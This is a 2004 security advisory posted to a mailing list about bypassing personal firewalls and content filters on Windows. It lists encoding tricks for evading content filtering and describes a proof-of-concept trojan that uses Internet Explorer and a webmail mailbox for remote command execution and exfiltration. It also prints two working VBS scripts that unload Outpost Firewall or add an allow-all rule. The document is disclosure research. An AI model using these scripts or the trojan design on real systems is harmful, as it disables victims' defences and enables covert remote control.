[REVS] Bypassing Client Application Protection Techniques

From: SecuriTeam (support_at_securiteam.com)
Date: 11/01/04

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    Date: 1 Nov 2004 10:52:32 +0200

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      Bypassing Client Application Protection Techniques


    The below document tries to illustrated different method with which a
    malicious attacker can bypass different types of client-side application
    protection programs.


    Affected products:
     * CheckPoint VPN-1(TM) & FireWall-1(R) NG with Application Intelligence
    (R55) HFA 9
     * Microsoft Windows XP SP2
     * Agnitum Outpost Pro 2.1, 2.5
     * Tiny Firewall Pro v6.0.100
     * ZoneAlarm Pro with Web Filtering v4.5.594
     * BlackICE PC Protection 3.6
     * Kerio Personal Firewall 4.0
     * WRQ ATGuard 3.2

    1.1 Front end security
    Last years were revolutionary for network services infrastructure
    security. In addition to more secure and stable operation systems and
    services, we've got a lot of industrial solutions - stateful firewalls
    with level 7 inspection, intrusion detection and intrusion prevention
    systems, reliable clusters and distributed solutions to fight DDoS
    attacks... And we got actually nothing in the field of client application
    protection. Security of client network applications, such as browsers,
    mail and instant messaging agents is on the same level it was 5 years ago,
    and things became worse, because these applications are now critical for
    business, we can not simply stop using e-mail.

    Client application security is very important, because same application
    can be used to process untrusted, potentially dangerous data as well as
    sensitive information.

    We, as many security professionals, have a feeling industry moves to wrong
    direction in the area of client application security. To demonstrate this
    point of view, this article was written. We discuss some methods of
    breaking into managed, protected corporate network without any special
    skills. "Exploits" illustrating this article were written with

    1.2 What do you use to protect your client systems against Internet
    There are very few widely deployed techniques. Among them are: content
    filtering on corporate firewall (including antiviral filtering) and
    personal antiviruses and personal firewalls (PFW). In addition to content
    filtering personal firewalls implement integrity control for applications
    and system by controlling integrity of the files, blocking access to some
    API functions and limiting network access to only trusted applications.

    Of cause, there are few really interesting approaches to secure client
    applications, some of them are discussed later, but usually these
    techniques are not generally used.

    1.3 What will we demonstrate.
    We will not teach you how to attack any specific client application.
    Latest Mozilla experience demonstrate, security bug in client application
    can always be found for approximately $500 (should we talk about Internet
    Explorer? Mozilla goes with discounted price because not demanded on zombi
    market). We will try to illustrate, that $500 is, probably, all that
    required to get access to your network. It doesn't depend on protection
    techniques listed above, because protection can be bypassed by any
    schoolboy. If this protection is all you have, you have no protection at
    all. In fact, iDEFENSE makes more for community than any PWF vendor (it's
    not a joke): it pays for newly discovered security issue more than shadow
    market does. At least you have additional $500
    to your security this way.

    Problem of paid vulnerability research is not black-and-white like one can
    believe. Without commercial software or commercial services freeware would
    not survive, because good programmer needs money. Same tendencies are in
    vulnerability research. C'est la vie. We can discuss it.

    Full-disclosure? Who believe in it...

    So, we proudly present you how to:

    Bypass content filtering for corporate and personal firewall (yes, again,
    and again and again). Bypass network access protection for personal
    firewall Bypass integrity protection for personal firewall or antivirus.

    Above is a list of tested products. It's incomplete. Some vendors were
    contacted and replied. Some fixes were published, but none of contacted
    vendors was able to fix all problems discussed. We do not believe it's
    possible in nearest future to prevent corporate network protected only
    with firewalls, personal firewalls and antiviruses from being hacked by
    the schoolboy.

    2. Bypassing content filtering again and again and again
    Axiom: there is always one more way to bypass content filter.

    Explanation: because content filter and client application use different
    algorithms for data processing, there is always data processed differently
    by client application and content filter.

    2.1 Configuration used
    In our configuration we used content filtering features of 2 firewalls:
    Checkpoint as corporate firewall and Agnitum Outpost Pro as a personal
    firewall. Both firewalls were set to filter scripting and ActiveX
    elements. By using few techniques described in [1] we wrote a set of tests
    to attack Internet Explorer protected by these 2 firewalls (and
    additionally with 2 different antiviruses) on 2 different levels to
    execute JavaScript.

    2.2 Test descriptions:
    2.2.1 <http://www.security.nnov.ru/files/opossum/test1.htm>
    Problem with special characters (0x0B) demonstrated. [1].II.9

    2.2.2 <http://www.security.nnov.ru/files/opossum/test2.html>
    Problem with RFC2781 decoding (UTF-16, little endian). [1].II.1

    2.2.3 <http://www.security.nnov.ru/files/opossum/test3.html>
    Problem with RFC2781 decoding (UTF-16, big endian). [1].II.1

    2.2.4 <http://www.security.nnov.ru/files/opossum/test4.gif>
    Different approach of different clients to content type definition

    2.2.5 <http://www.security.nnov.ru/files/opossum/test5.gif>
    Same as 2.2.4 + exploitation of stream buffering.

    2.2.6 <http://www.security.nnov.ru/files/opossum/test6.html>
    Problem with special characters (0x00) demonstrated. [1].II.9

    2.2.7 <http://www.security.nnov.ru/files/opossum/test7.asp>
    Inability to parse UTF-7 encoding (with Content-Type) [1].II.2

    2.2.8 <http://www.security.nnov.ru/files/opossum/test8.html>
    Inability to parse UTF-7 encoding (with Meta http-equiv) [1].II.2

    2.2.9 <http://www.security.nnov.ru/files/opossum/test9.html>
    Inability to catch scripting via expression(). Was described by http-equiv

    2.2.10 <http://www.security.nnov.ru/files/opossum/test10.html>
    Inability to catch scripting in styles [1].II.15

    2.2.11 <http://www.security.nnov.ru/files/opossum/test11.mht>
    Inability to parse MHT files (RFC 2557)

    Content filtering bypass techniques used are known for years. Outpost
    failed all tests. Checkpoint failed 2.2.2, 2.2.3, 2.2.6, 2.2.8, 2.2.9,
    2.2.10, 2.2.11.

    2.3 Vendors:
    Both Checkpoint and Agnitum were contacted. Checkpoint covers issues
    discussed in R55HFA10. 2.2.10 and 2.2.11 additionally require disabling
    CSS and MHT with special settings (I do not believe it can be accepted as
    solution). Agnitum fixes very few issues in Outpost 2.5 version. Please,
    check your own content filter before blaming Agnitum or Checkpoint.

    3. Bypassing network access restrictions with trusted application
    Axiom: Malware is indistinguishable from user application

    Next step after successful client application attack is usually getting
    remote control on attacked computer.

    Personal firewall usually restricts access to network to the list of
    allowed application. In addition, integrity of these applications is
    controlled to prevent code insertion into executable file. It makes it
    impossible to install Trojan application with direct network access.

    Common idea behind bypassing this protection is using trusted application
    (for example browser) to access external network. Usually, execution flow
    of target application with DLL injection technique, WriteProcessMemory(),
    CreateRemoteThread() or something like this. You can find description in
    [1] and [2]. These methods require programming skills, additionally,
    personal firewall could set a hooks to protect against this kind of
    attack. Additionally, Trojan application in this case should implement
    almost all network functions, including network topology discovery and
    proxy communication.

    Additionally, access of client application can be limited only to a list
    of trusted sites.

    Our approach is very simple. We call it CAT (Client Application
    Trojaning). We use trusted application itself without attempt to hack into
    it's code. <http://www.security.nnov.ru/files/opossum/CAT.zip>
    http://www.security.nnov.ru/files/opossum/CAT.zip is simple PoC
    application. CAT uses COM to launch and control client application
    (Internet Explorer). This allows practically full access to the IE
    recourses, so we can ask IE to navigate to our site, and IE will use its
    proxy's and other settings. We don't need to include http-client code in
    our application - IE does all work for us.

    Another interesting thing - it's a work via trusted sites. In our example
    Trojan uses www.mail.ru server to communicate with bad guy, but it easy to
    use other trusted network services, for example Google's proxy (
    Additionally almost any search system can be used as proxy with only
    limitation that each iteration may require few days.

    This CAT PoC works as next:

     - It creates IE COM object, navigates to www.mail.ru site.
     - CAT passes username and password to the site, and gets access to
     - CAT sends notification message "ready" to specified mailbox
     - Every 20 seconds CAT checks mailbox for messages with XXX.request
    subject (XXX - integer number).
     - If message appears in mailbox, CAT reads it, deletes message, and
    process it's data as a batch file.
     - Execution results are send to predefined account.

    remove IE.Visible = true
    line to run application in hidden mode.

    All this great functionality lies in 100 lines of VBS. You see, Basic can
    be more effective than assembler. ILOVEYOU and another scripting viruses
    demonstrated application like this can be written by 14 y.o. schoolboys.
    VBS can be executed from Microsoft Office applications, Windows Explorer,
    Internet Explorer, etc.

    All personal firewalls tested, except Outpost 2.5 failed to detect
    information leak with this script. Outpost 2.5 requires minor modification
    for original script to start one additional IE instance before launching
    IE via COM, script modification is set as homework.

    4. Bypassing personal firewall integrity protection
    Axiom: Malware is indistinguishable from user

    This script unloads Outpost firewall (any version)
     set WShell = CreateObject("WScript.Shell")

     WShell.Exec "C:\Program Files\Agnitum\Outpost Firewall\outpost.exe"
     WScript.Sleep 200
     WShell.AppActivate "Agnitum", TRUE
     WScript.Sleep 100
     WShell.SendKeys "{F10}{DOWN}{UP}{ENTER}"
     WScript.Sleep 100
     WShell.SendKeys "{ENTER}"

    Another one creates a rule to permit Internet access for all applications

     set WShell = CreateObject("WScript.Shell")

     WShell.Exec "C:\Program Files\Agnitum\Outpost Firewall\outpost.exe"
     WScript.Sleep 100
     WShell.AppActivate "Agnitum", TRUE
     WScript.Sleep 10
     WShell.SendKeys "{F10}{LEFT}{LEFT}{LEFT}"
     WScript.Sleep 10
     WShell.SendKeys "{DOWN}{DOWN}{DOWN}{DOWN}{ENTER}"
     WScript.Sleep 10
     WShell.SendKeys "a{ENTER}"
     WScript.Sleep 10
     WShell.SendKeys "{F10}{LEFT}{DOWN}"
     WScript.Sleep 10
     WShell.SendKeys "n"

    5. Final noise.
    Axiom: There is no cure against unknown Malware. There are no Axioms in
    client application protection.

    The only way to somehow secure client application is implementing sandbox
    for any application to work with untrusted data. There are attempts to
    implement such sandbox without limiting it's functionality, for example
    GeSWall [4](by the way this project is looking for sponsor on investor).
    There are few commercial solutions of this kind, I do not believe any of
    this solution provides reliable security for Internet client application.
    Virtual machines for most architectures also have known flaws. Most
    reliable way to protect client application for now is creation of
    additional DMZ for application servers and providing terminal access to
    untrusted applications inside DMZ. Configuration example can be found in
    [5]. Of cause, this approach is not 100% reliable too.

    That's all.

    6. Links:
    [1] 3APA3A, Bypassing content filtering software

    [2] Firewall leak tester http://www.firewallleaktester.com/

    [3] rattle, Using Process Infection to Bypass Windows Software Firewalls

    [4] GeSWall (General Systems Wall) http://www.securesize.com/

    [5] offtopic, 3APA3A, "In front of front-end security"


    The information has been provided by <mailto:3APA3A@security.nnov.ru>
    3APA3A and <mailto:offtopic@mail.ru> offtopic.
    The original article can be found at:


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